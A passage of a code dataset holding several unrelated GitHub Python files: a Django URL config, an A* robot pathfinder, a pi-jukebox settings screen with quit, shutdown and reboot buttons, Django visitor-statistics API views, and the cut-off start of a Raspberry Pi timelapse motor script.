https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom exams import views as exam_views\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^exams/dashboard/', exam_views.dashboard.as_view(), name = 'exam_dashboard' ),\n url(r'^exams/add/', exam_views.exam_add , name = 'exam_add'),\n url(r'^exams/(?P<pk>\\d+)/edit/', exam_views.exam_edit , name = 'exam_edit'),\n url(r'^exams/getset/', exam_views.getset , name = 'getset'),\n url(r'^exams/(?P<sub_id>\\d+)/sub_delete/', exam_views.sub_delete , name = 'sub_delete'),\n]\n","repo_name":"vikashjha2050/django_formset","sub_path":"django_formset/django_formset/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32090850303","text":"from math import sqrt, pi\nimport random as random\nimport numpy as np\n\n\nclass AStarNode:\n def __init__(self,ix0,iy0,delta_x,delta_y,DistanceObstacle=1e9):\n self.G = 1e9 # G, distance parcourue\n self.H = 1e9 # H, distance a vol d'oiseau\n self.F = 1e9 # F, poids du noeud\n self.Ang = 0.0 # Angle du robot sur ce point\n self.TpsTrajet = 1e9\n self.DistanceObstacle = DistanceObstacle\n self.ix = ix0\n self.iy = iy0\n self.delta_x = delta_x\n self.delta_y = delta_y\n self.x = ix0*delta_x\n self.y = iy0*delta_y\n self.Parent = None\n self.ListO_next = None\n self.parcourus = False\n self.delta=(self.delta_x+self.delta_y)/4.0\n def setObstacle(self, NewDist):\n self.DistanceObstacle = NewDist\n def addObstacle(self,x_obs,y_obs):\n NewDist = sqrt((self.x-x_obs)**2+(self.y-y_obs)**2)\n if NewDist < self.DistanceObstacle:\n self.DistanceObstacle = NewDist\n \n def setDistanceObstacle(self,Dist):\n self.DistanceObstacle = Dist\n \n def clean(self):\n self.G = 1e9\n self.H = 1e9\n self.F = 1e9\n self.Parent = None\n self.ListO_next = None\n self.parcourus = False\n \n def printNode(self):\n print(\"G:\",self.G)\n print(\"H:\",self.H)\n print(\"F:\",self.F)\n print(\"parcourus:\",self.parcourus)\n print(self.ListO_next)\n \n def moveCost(self, current, fin,distance,Ang_new,DistObsMin,DistObsMax,VtsMax,VtsAng):\n # Vts=VtsMax/2.0\n if(self.DistanceObstacle<=DistObsMin):\n Vts=1e-9\n else :\n if(self.DistanceObstacle>=DistObsMax):\n Vts=VtsMax\n else:\n Vts=VtsMax*(self.DistanceObstacle-DistObsMin)/(DistObsMax-DistObsMin)+1e-9\n \n \n \n H_new = (sqrt((self.x-fin.x)**2+(self.y-fin.y)**2)+ random.uniform(-self.delta, self.delta))/Vts\n\n TpsTrajet_new=distance/Vts+abs(Ang_new-current.Ang)/VtsAng\n G_new = current.G + TpsTrajet_new\n \n F_new = G_new + H_new\n if self.F > F_new:\n self.H = H_new\n self.G = G_new\n self.F = F_new\n self.Ang = Ang_new\n self.TpsTrajet=TpsTrajet_new\n return True #Renvoie True si mise a jours des valeurs\n else:\n return False #Renvoie False si aucune valeurs mise a jours\n \n def addListO(self,NewNode):\n #if (NewNode.F < self.F + random.uniform(-self.delta, self.delta)):\n #if (NewNode.F < self.F):\n if (NewNode.F < self.F):\n NewNode.ListO_next = self\n return NewNode\n else :\n if (NewNode.F > self.F):\n if self.ListO_next == None :\n self.ListO_next=NewNode\n else:\n self.ListO_next=self.ListO_next.addListO(NewNode)\n return self\n else:\n if random.sample([True,False],1)[0]:\n NewNode.ListO_next = self\n return NewNode\n\n def delListO(self,Node):\n if self == Node:\n return self.ListO_next\n else:\n self.ListO_next = self.ListO_next.delListO(Node)\n return self\n \n def getListO(self):\n print(self.ix,self.iy,self.F,self.G,self.H)\n if self.ListO_next == None :\n return\n else:\n self.ListO_next.getListO()\n \n def printParcours(self):\n print(self.ix,self.iy,self.F,self.H,self.G,self.parcourus,self.ListO_next)\n if self.Parent == None :\n return\n else:\n self.Parent.printParcours()\n \n def getParcours(self,X,Y,Ang,TpsTrajet,Obs):\n X.insert(0,self.x)\n Y.insert(0,self.y)\n Ang.insert(0,self.Ang)\n TpsTrajet.insert(0,self.TpsTrajet)\n Obs.insert(0,self.DistanceObstacle)\n if self.Parent == None :\n return\n else:\n self.Parent.getParcours(X,Y,Ang,TpsTrajet,Obs)\n \nclass Pathfinder:\n def __init__(self , x_max=2000.0 , y_max=3000.0 , nb_x=200 , nb_y=300 , DistanceObstacleMin=200.0, DistanceObstacleMax=2000.0):\n self.graph=[]\n self.delta_x=x_max/nb_x\n self.delta_y=y_max/nb_y\n self.delta_xy=sqrt(self.delta_y*self.delta_y + self.delta_x*self.delta_x)\n self.TableDist=[[self.delta_xy , self.delta_y , self.delta_xy],[self.delta_x , 0.0 , self.delta_x],[self.delta_xy , self.delta_y , self.delta_xy]]\n self.TableAng=[[5.0*pi/4.0 , -pi/2.0 , -pi/4.0],[pi , 0.0 , 0.0],[3.0*pi/4.0 , pi/2.0 , pi/4.0]]\n self.x_max=x_max\n self.y_max=y_max\n self.nb_x=nb_x\n self.nb_y=nb_y\n \n self.DistanceObstacleMin = DistanceObstacleMin\n self.DistanceObstacleMax = DistanceObstacleMax\n \n self.X=np.linspace(0,self.x_max,self.nb_x)\n self.Y=np.linspace(0,self.y_max,self.nb_y)\n \n \n #self.VtsMax = VtsMax\n \n self.iObsMax_y = int(DistanceObstacleMax/self.delta_y)\n self.iObsMax_x = int(DistanceObstacleMax/self.delta_x)\n for iy in range(self.nb_y):\n self.graph.insert(iy,[])\n for ix in range(self.nb_x):\n node=AStarNode(ix,iy,self.delta_x,self.delta_y,DistanceObstacleMax)\n self.graph[iy].insert(ix,node)\n \n \n def pathfinding(self,x_start,y_start,ang_start,x_fin,y_fin,VtsMax=1000.0,VtsAng=10.0):\n ix_start = int (x_start/self.delta_x)\n iy_start = int (y_start/self.delta_y)\n ix_fin = int (x_fin/self.delta_x)\n iy_fin = int (y_fin/self.delta_y)\n \n NodeStart=self.graph[iy_start][ix_start]\n NodeFin=self.graph[iy_fin][ix_fin]\n \n NodeStart.G=0.0\n NodeStart.moveCost(NodeStart, NodeFin,0.0,ang_start,self.DistanceObstacleMin,self.DistanceObstacleMax,VtsMax,VtsAng)\n HeadListO=NodeStart\n NodeCurrent=HeadListO\n while (NodeCurrent.ix != ix_fin) | (NodeCurrent.iy != iy_fin):\n NodeCurrent.parcourus=True\n for i,j in [[-1,-1],[-1,0],[-1,1],[0,-1],[0,1],[1,-1],[1,0],[1,1]]:\n ix=i+NodeCurrent.ix\n iy=j+NodeCurrent.iy\n if (0<=ix<self.nb_x) & (0<=iy<self.nb_y):\n if (self.graph[iy][ix].DistanceObstacle>self.DistanceObstacleMin) & (self.graph[iy][ix].parcourus == False):\n if self.graph[iy][ix].moveCost(NodeCurrent,NodeFin,self.TableDist[j+1][i+1],self.TableAng[j+1][i+1],self.DistanceObstacleMin,self.DistanceObstacleMax,VtsMax,VtsAng):\n if self.graph[iy][ix].Parent != None:\n HeadListO=HeadListO.delListO(self.graph[iy][ix]); \n HeadListO=HeadListO.addListO(self.graph[iy][ix])\n self.graph[iy][ix].Parent=NodeCurrent\n HeadListO=HeadListO.delListO(NodeCurrent); \n NodeCurrent=HeadListO\n if NodeCurrent == None:\n break\n return NodeCurrent\n \n def clean(self):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].clean()\n def dellObstacle(self):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].setDistanceObstacle(self.DistanceObstacleMax)\n def addObstacle(self,x_obs,y_obs):\n ix_obs = int (x_obs/self.delta_x)\n iy_obs = int (y_obs/self.delta_y)\n for j in range(-self.iObsMax_y,self.iObsMax_y):\n for i in range(-self.iObsMax_x,self.iObsMax_x):\n iy=iy_obs+j\n ix=ix_obs+i\n if (0<=ix<self.nb_x) & (0<=iy<self.nb_y):\n self.graph[iy][ix].addObstacle(x_obs,y_obs)\n def setObstacle(self,ObsMap):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].setObstacle(ObsMap[ix,iy])\n \n def getTable(self):\n #X=[]\n #Y=[]\n \n Obs=np.zeros((self.nb_x,self.nb_y))\n \n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n # X.insert(0,self.graph[iy][ix].x)\n # Y.insert(0,self.graph[iy][ix].y)\n Obs[ix][iy]=self.graph[iy][ix].DistanceObstacle\n return Obs\n\n\n\n\n# def obs_from_ihm(self, mapTblNode):\n# # Ajout de de la carte comme obstacles a la Map astar\n# ObsMap=np.zeros((self.nbX,self.nbY))+600.\n# for ix_obs, obsList in enumerate(mapTblNode):\n# for iy_obs, obs in enumerate(obsList):\n# if obs > 0:\n# for j in range(-self.iObsMax_y,self.iObsMax_y):\n# for i in range(-self.iObsMax_x,self.iObsMax_x):\n# iy=iy_obs+j\n# ix=ix_obs+i\n# if (0<=ix<self.nbX) & (0<=iy<self.nbY):\n# NewDist = sqrt((ix-ix_obs)**2*self.delta_x**2+(iy-iy_obs)**2*self.delta_y**2)\n# if NewDist < ObsMap[ix,iy]:\n# ObsMap[ix,iy] = NewDist \n \nclass AStar(object):\n def __init__(self, graph):\n self.graph = graph\n def heuristic(self, node, start, end):\n raise NotImplementedError\n def search(self, start, end):\n openset = set()\n closedset = set()\n current = start\n openset.add(current)\n while openset:\n current = min(openset, key=lambda o:o.g + o.h)\n if current == end:\n path = []\n while current.parent:\n path.append(current)\n current = current.parent\n path.append(current)\n return path[::-1]\n openset.remove(current)\n closedset.add(current)\n for node in self.graph[current]:\n if node in closedset:\n continue\n if node in openset:\n new_g = current.g + current.move_cost(node)\n if node.g > new_g:\n node.g = new_g\n node.parent = current\n else:\n node.g = current.g + current.move_cost(node)\n node.h = self.heuristic(node, start, end)\n node.parent = current\n openset.add(node)\n return None\n \n# class AStarNode(object):\n # def __init__(self):\n # self.g = 0\n # self.h = 0\n # self.parent = None\n # def move_cost(self, other):\n # raise NotImplementedError\n \n# class AStarGrid(AStar):\n # def heuristic(self, node, start, end):\n # return sqrt((end.x - node.x)**2 + (end.y - node.y)**2)\n \n# class AStarGridNode(AStarNode):\n # def __init__(self, x, y):\n # self.x, self.y = x, y\n # super(AStarGridNode, self).__init__()\n\n # def move_cost(self, other):\n # diagonal = abs(self.x - other.x) == 1 and abs(self.y - other.y) == 1\n # return 14 if diagonal else 10","repo_name":"marc0bill/RobotMT","sub_path":"python/astar/astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12112909045","text":"# This file is part of pi-jukebox.\n#\n# pi-jukebox is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# pi-jukebox is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with pi-jukebox. If not, see < http://www.gnu.org/licenses/ >.\n#\n# (C) 2015- by Mark Zwart, <mark.zwart@pobox.com>\n\"\"\"\n=======================================\n**screen_settings.py**: Settings screen\n=======================================\n\"\"\"\n__author__ = 'Mark Zwart'\n\nimport sys, pygame\nfrom pygame.locals import *\nimport time\nimport subprocess\nimport os\nimport glob\nimport socket\nfrom gui_widgets import *\nfrom mpd_client import *\nfrom settings import *\nfrom screen_wifi import *\nfrom config_file import *\nfrom screen_keyboard import *\n\n\nclass ScreenSettings(ScreenModal):\n \"\"\" Screen for settings or quitting/shutting down\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Settings\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Quit Pi-Jukebox\"\n self.add_component(ButtonText('btn_quit', self.surface, button_left, 30, button_width, 32, label))\n label = \"Playback options\"\n self.add_component(ButtonText('btn_playback', self.surface, button_left, 72, button_width, 32, label))\n label = \"MPD related settings\"\n self.add_component(ButtonText('btn_mpd', self.surface, button_left, 114, button_width, 32, label))\n label = \"System info\"\n self.add_component(ButtonText('btn_system_info', self.surface, button_left, 156, button_width, 32, label))\n label = \"Back\"\n self.add_component(ButtonText('btn_return', self.surface, button_left, 198, button_width, 32, label))\n\n def on_click(self, x, y):\n tag_name = super(ScreenSettings, self).on_click(x, y)\n if tag_name == 'btn_playback':\n screen_playback_options = ScreenSettingsPlayback(self)\n screen_playback_options.show()\n self.show()\n elif tag_name == 'btn_quit':\n screen_quit = ScreenSettingsQuit(self)\n screen_quit.show()\n self.show()\n elif tag_name == 'btn_mpd':\n screen_mpd = ScreenSettingsMPD(self)\n screen_mpd.show()\n self.show()\n elif tag_name == 'btn_system_info':\n screen_system_info = ScreenSystemInfo(self)\n screen_system_info.show()\n self.show()\n elif tag_name == 'btn_return':\n self.close()\n\n\nclass ScreenSettingsQuit(ScreenModal):\n \"\"\" Screen for quitting pi-jukebox.\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Quit\")\n self.window_x = 70\n self.window_y = 25\n self.window_width -= 2 * self.window_x\n self.window_height -= 2 * self.window_y\n button_left = self.window_x + 10\n button_width = self.window_width - 20\n self.outline_shown = True\n self.add_component(\n ButtonText('btn_quit', self.surface, button_left, self.window_y + 30, button_width, 32, \"Quit\"))\n self.add_component(\n ButtonText('btn_shutdown', self.surface, button_left, self.window_y + 70, button_width, 32, \"Shutdown Pi\"))\n self.add_component(\n ButtonText('btn_reboot', self.surface, button_left, self.window_y + 110, button_width, 32, \"Reboot Pi\"))\n self.add_component(\n ButtonText('btn_cancel', self.surface, button_left, self.window_y + 150, button_width, 32, \"Cancel\"))\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'btn_quit':\n mpd.disconnect()\n print (\"Thanks for using pi-jukebox!\\nBye!\")\n sys.exit()\n elif tag_name == 'btn_shutdown':\n if RUN_ON_RASPBERRY_PI:\n pygame.display.quit()\n os.system(\"sudo shutdown -h now\")\n else:\n sys.exit()\n elif tag_name == 'btn_reboot':\n if RUN_ON_RASPBERRY_PI:\n pygame.display.quit()\n os.system(\"sudo shutdown -r now\")\n else:\n sys.exit()\n elif tag_name == 'btn_cancel':\n self.close()\n\n\nclass ScreenSettingsPlayback(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Playback settings\")\n self.add_component(LabelText('lbl_shuffle', self.surface, 10, 30, 40, 20, \"Shuffle\"))\n self.add_component(Switch('switch_shuffle', self.surface, 60, 23))\n self.add_component(LabelText('lbl_repeat', self.surface, 120, 30, 40, 20, \"Repeat\"))\n self.add_component(Switch('switch_repeat', self.surface, 170, 23))\n self.add_component(LabelText('lbl_single', self.surface, 230, 30, 40, 20, \"Single\"))\n self.add_component(Switch('switch_single', self.surface, 280, 23))\n self.add_component(LabelText('lbl_consume', self.surface, 10, 65, 110, 20, \"Consume playlist\"))\n self.add_component(Switch('switch_consume', self.surface, 125, 58))\n self.add_component(\n ButtonText('btn_rescan', self.surface, 10, 108, self.window_width - 20, 32, \"Re-scan library\"))\n self.add_component(\n ButtonText('btn_update', self.surface, 10, 150, self.window_width - 20, 32, \"Update library\"))\n self.add_component(ButtonText('btn_return', self.surface, 10, 192, self.window_width - 20, 32, \"Back\"))\n self.__initialize()\n\n def __initialize(self):\n \"\"\" Sets the screen controls according to current mpd configuration.\n \"\"\"\n for key, value in self.components.items():\n if key == 'switch_shuffle':\n value.set_on(mpd.random)\n elif key == 'switch_repeat':\n value.set_on(mpd.repeat)\n elif key == 'switch_single':\n value.set_on(mpd.single)\n elif key == 'switch_consume':\n value.set_on(mpd.consume)\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'switch_shuffle':\n mpd.random_switch()\n elif tag_name == 'switch_repeat':\n mpd.repeat_switch()\n elif tag_name == 'switch_single':\n mpd.single_switch()\n elif tag_name == 'switch_consume':\n mpd.consume_switch()\n elif tag_name == 'btn_rescan':\n mpd.library_rescan()\n elif tag_name == 'btn_update':\n mpd.library_update()\n elif tag_name == 'btn_return':\n self.close()\n\n\nclass ScreenSettingsMPD(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n def __init__(self, screen_rect):\n self.host_new = config_file.setting_get('MPD Settings', 'host')\n self.port_new = config_file.setting_get('MPD Settings', 'port')\n self.dir_new = config_file.setting_get('MPD Settings', 'music directory')\n\n ScreenModal.__init__(self, screen_rect, \"MPD settings\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Change host: \" + self.host_new\n self.add_component(ButtonText('btn_host', self.surface, button_left, 30, button_width, 32, label))\n label = \"Change port: \" + str(self.port_new)\n self.add_component(ButtonText('btn_port', self.surface, button_left, 72, button_width, 32, label))\n self.add_component(\n ButtonText('btn_music_dir', self.surface, button_left, 114, button_width, 32, \"Change music directory\"))\n label = \"Cancel\"\n self.add_component(ButtonText('btn_cancel', self.surface, button_left, 198, button_width / 2 - 5, 32, label))\n label = \"Check and save\"\n self.add_component(\n ButtonText('btn_save', self.surface, button_width / 2 + 15, 198, button_width / 2 - 5, 32, label))\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n setting_label = \"\"\n setting_value = None\n if tag_name == 'btn_save':\n if self.save_settings():\n self.close()\n return\n elif tag_name == 'btn_cancel':\n self.close()\n return\n elif tag_name == 'btn_host':\n setting_label = \"Set mpd host\"\n self.host_new = self.keyboard_setting(setting_label, self.host_new)\n self.per_setting_check('host')\n elif tag_name == 'btn_port':\n setting_label = \"Set mpd server port\"\n self.port_new = self.keyboard_setting(setting_label, self.port_new)\n self.per_setting_check('port')\n elif tag_name == 'btn_music_dir':\n setting_label = \"Set music directory\"\n self.dir_new = self.keyboard_setting(setting_label, 'MPD Settings', 'music directory')\n self.per_setting_check('music directory')\n self.update()\n self.show()\n\n def keyboard_setting(self, caption, value=\"\"):\n keyboard = Keyboard(self, caption)\n keyboard.text = value\n keyboard.title_color = FIFTIES_ORANGE\n new_value = keyboard.show() # Get entered search text\n return new_value\n\n def update(self):\n label = \"Change host: \" + self.host_new\n self.components['btn_host'].draw(label)\n label = \"Change port: \" + str(self.port_new)\n self.components['btn_port'].draw(label)\n\n def per_setting_check(self, setting_type):\n if setting_type == 'host' or setting_type == 'port':\n mpd.disconnect()\n host_old = mpd.host\n port_old = mpd.port\n mpd.host = self.host_new\n mpd.port = self.port_new\n if not mpd.connect():\n error_text = \"Couldn't connect to the mpd server \" + mpd.host + \" on port \" + str(mpd.port) + \"!\" \\\n \"Is the MPD server running? Try the command 'sudo service mpd start' on the CLI.\"\n msg_show = ScreenMessage(self.surface, \"Wrong host or port!\", error_text, 'warning')\n msg_show.show()\n mpd.host = host_old\n mpd.port = port_old\n mpd.connect()\n return False\n else:\n mpd.host = host_old\n mpd.port = port_old\n return True\n if setting_type == 'music directory':\n if not os.path.isdir(self.dir_new):\n error_text = \"The music directory you specified \" + self.dir_new + \" does not exist!\"\n msg_show = ScreenMessage(self.surface, \"Invalid directory\", error_text, 'error')\n msg_show.show()\n return False\n else:\n return True\n\n def save_settings(self):\n if self.per_setting_check('host') and self.per_setting_check('music directory'):\n config_file.setting_set('MPD Settings', 'host', self.host_new)\n config_file.setting_set('MPD Settings', 'port', self.port_new)\n config_file.setting_set('MPD Settings', 'music directory', self.dir_new)\n mpd.host = self.host_new\n mpd.port = self.port_new\n mpd.music_directory = self.dir_new\n\nclass ScreenSystemInfo(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen_rect):\n ScreenModal.__init__(self, screen_rect, \"System info\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Back\"\n self.add_component(ButtonText('btn_back', self.surface, button_left, 198, button_width, 32, label))\n info = mpd.mpd_client.stats()\n self.add_component(LabelText('lbl_database', self.surface, button_left, 30, 100, 18, \"Music database\"))\n self.components['lbl_database'].font_color = FIFTIES_TEAL\n artist_count = \"Artists: \" + \"{:,}\".format(int(info['artists']))\n self.add_component(LabelText('lbl_artist_count', self.surface, button_left, 48, 100, 18, artist_count))\n album_count = \"Albums: \" + \"{:,}\".format(int(info['albums']))\n self.add_component(LabelText('lbl_album_count', self.surface, button_left + 100, 48, 100, 18, album_count))\n song_count = \"Songs: \" + \"{:,}\".format(int(info['songs']))\n self.add_component(LabelText('lbl_song_count', self.surface, button_left + 210, 48, 100, 18, song_count))\n play_time = \"Total time: \" + self.make_time_string(int(info['db_playtime']))\n self.add_component(LabelText('lbl_play_time', self.surface, button_left, 66, 300, 18, play_time))\n\n self.add_component(LabelText('lbl_system', self.surface, button_left, 90, 100, 18, \"Server\"))\n self.components['lbl_system'].font_color = FIFTIES_TEAL\n self.add_component(\n LabelText('lbl_host_name', self.surface, button_left, 108, 1500, 18, \"Host name: \" + socket.gethostname()))\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(('google.com', 0))\n ip_address = s.getsockname()[0]\n self.add_component(\n LabelText('lbl_ip_address', self.surface, button_left, 126, 1500, 18, \"IP address: \" + ip_address))\n except Exception:\n pass\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'btn_back':\n self.close()\n return\n\n def make_time_string(self, seconds):\n days = int(seconds / 86400)\n hours = int((seconds - (days * 86400)) / 3600)\n minutes = int((seconds - (days * 86400) - (hours * 3600)) / 60)\n seconds_left = int(round(seconds - (days * 86400) - (hours * 3600) - (minutes * 60), 0))\n time_string = \"\"\n if days > 0:\n time_string += str(days) + \" days \"\n if hours > 0:\n time_string += str(hours) + \" hrs \"\n if minutes > 0:\n time_string += str(minutes) + \" mins \"\n if seconds_left > 0:\n time_string += str(seconds_left) + \" secs \"\n\n return time_string\n","repo_name":"mark-me/Pi-Jukebox","sub_path":"screen_settings.py","file_name":"screen_settings.py","file_ext":"py","file_size_in_byte":15042,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"18"} +{"seq_id":"13656866824","text":"#coding:utf-8\nfrom django.core.cache import cache\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nfrom webapp.scenic.models import * \nfrom webapp.manuf.manuf import *\nimport requests\nfrom django.core.serializers.json import DjangoJSONEncoder\nimport datetime\nfrom django.db.models import Q\n\n\ndef render_api(data):\n response = HttpResponse(json.dumps(data, cls=DjangoJSONEncoder, indent=4), content_type='text/plain')\n response['Access-Control-Allow-Origin'] = '*'\n response['Contet-Type'] = 'text/plain'\n return response\n\n\n@csrf_exempt\ndef get_phone(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n date = json.loads(request.body)['date']['date'][0]\n if date == 'today':\n date = datetime.date.today()\n objs = obj.census_set.filter(date__gt=date)\n elif date == 'yesterday':\n date = datetime.date.today()-datetime.timedelta(days=1)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n elif date == 'week':\n date = datetime.date.today()-datetime.timedelta(days=7)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n elif date == 'month':\n date = datetime.date.today()-datetime.timedelta(days=30)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n else:\n data = {}\n data['msg'] = 'error'\n return render_api(data)\n data = []\n temp = {}\n temp['vivo'] = 0\n temp['apple'] = 0\n temp['oppo'] = 0\n temp['huawei'] = 0\n temp['samsung'] = 0\n temp['other'] = 0\n for obj in objs:\n temp['vivo'] = temp['vivo']+obj.vivo\n temp['apple'] = temp['apple']+obj.apple\n temp['oppo'] = temp['oppo']+obj.oppo\n temp['huawei'] = temp['huawei']+obj.huawei\n temp['samsung'] = temp['samsung']+obj.samsung\n temp['other'] = temp['other']+obj.other\n data.append(temp)\n return render_api(data)\n\n@csrf_exempt\ndef get_visitor(request):\n uid = json.loads(request.body)['pk']\n date = json.loads(request.body)['date']['date'][0]\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n if date == 'week':\n objs = obj.census_set.filter(date__gte=datetime.date.today()-datetime.timedelta(days=7)).order_by('date')\n elif date == 'month':\n objs = obj.census_set.filter(date__gte=datetime.date.today()-datetime.timedelta(days=30)).order_by('date')\n temp = []\n for objs in objs:\n data = {}\n num = objs.vivo+objs.apple+objs.huawei+objs.samsung+objs.other\n date = objs.date.strftime('%m-%d')\n data['num'] = num\n data['date'] = date\n temp.append(data)\n time = []\n for aa in temp:\n time.append(aa['date'])\n time = list(set(time))\n qwe = []\n for cc in time:\n asd = {}\n num = 0\n for bb in temp:\n if bb['date'] == cc:\n num = num+bb['num']\n asd['date'] = cc\n asd['num'] = num\n qwe.append(asd)\n qwe.sort(key=lambda x:x[\"date\"])\n return render_api(qwe)\n\n@csrf_exempt\ndef get_area(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.area_set.filter(zhu=0)\n data = []\n for o in objs:\n temp = {}\n temp['name'] = o.name\n temp['num'] = o.num\n data.append(temp)\n return render_api(data) \n\n@csrf_exempt\ndef get_new(request):\n uid = json.loads(request.body)['pk']\n date = json.loads(request.body)['date']['date'][0]\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n if date == 'today':\n \tobjs = obj.newo_set.filter(date=1).first()\n elif date == 'yesterday':\n \tobjs = obj.newo_set.filter(date=-1).first()\n elif date == 'week':\n \tobjs = obj.newo_set.filter(date=7).first()\n elif date == 'month':\n \tobjs = obj.newo_set.filter(date=30).first()\n data = {}\n data['new'] = objs.xin\n data['old'] = objs.lao\n return render_api(data)\n\n@csrf_exempt\ndef get_sex(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.userinfo_set.all()\n data = {}\n man = []\n woman = []\n unknow = []\n for p in objs:\n if p.sex == 1:\n man.append(p)\n elif p.sex == 2:\n woman.append(p)\n data['man'] = len(man)\n data['woman'] = len(woman)\n return render_api(data)\n\n@csrf_exempt\ndef get_num(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.area_set.filter(zhu=False)\n num = 0\n for objs in objs:\n num = num+objs.num\n numall = len(list(set(cache.get('usertoday'+str(uid)))))\n data = {}\n data['num_now'] = num\n data['num_all'] = numall\n return render_api(data)","repo_name":"chen223-hz/hiyou","sub_path":"webapp/webapp/api/daping.py","file_name":"daping.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"71283495719","text":"from LCD import *\nimport RPi.GPIO as GPIO\nimport time as t\nimport subprocess as sub\n\nversion = \"0.3A\"\nlcd = LCD()\nh = GPIO.HIGH\nl = GPIO.LOW\ndelay = 0.4\nencoderA = 16\nencoderB = 21\nencoderButton = 20\nencoderVal = 0\nlastencoded = 0\nstage = 1\nsetup = True\n\nmotorL = 19\nmotorR = 26\n\nFPH = 0\nH = 0\ntotalFrames = 0\ncurrentFrame = 0\n\n#Setup\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(encoderA,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(encoderB,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(encoderButton,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(motorL,GPIO.OUT)\nGPIO.setup(motorR,GPIO.OUT)\nGPIO.output(motorL,l)\nGPIO.output(motorR,l)\n\n\ndef wipe():\n\tlcd.clear()\n\tlcd.home()\n\ndef getCurrentTime():\n\treturn t.time()\n\t\ndef init():\n\tlcd.message(\"Timelaspe\\nCommand V{}\".format(version))\n\tt.sleep(3)\n\twipe()\n\tdraw()\n\ndef moveLeft(d):\n\tglobal motorL\n\tGPIO.output(motorL,GPIO.HIGH)\n\tt.sleep(d)\n\tGPIO.output(motorL,GPIO.LOW)\n\ndef revolveMotorLeft(r):\n\tdelta = r * 30\n\tmoveLeft(delta)\n\ndef moveRight(d):\n\tglobal morotR\n\tGPIO.output(motorR,GPIO.HIGH)\n\tt.sleep(d)\n\tGPIO.output(motorR,GPIO.LOW)\n\ndef revolveMotorRight(r):\n\tdelta = r * 30\n\tmoveRight(delta)\n\ndef updateEncoder(c):\n\tglobal encoderA, encoderB, lastencoded, encoderVal\n\trota = 0\n\trotb = 0\n\tif(GPIO.input(encoderA)):\n\t\trota = 1\n\n\tif(GPIO.input(encoderB)):\n\t\trotb = 1\n\n\tdec = 2\t\n\trotc = rota ^ rotb\n\tencoded = rota * 4 + rotb * 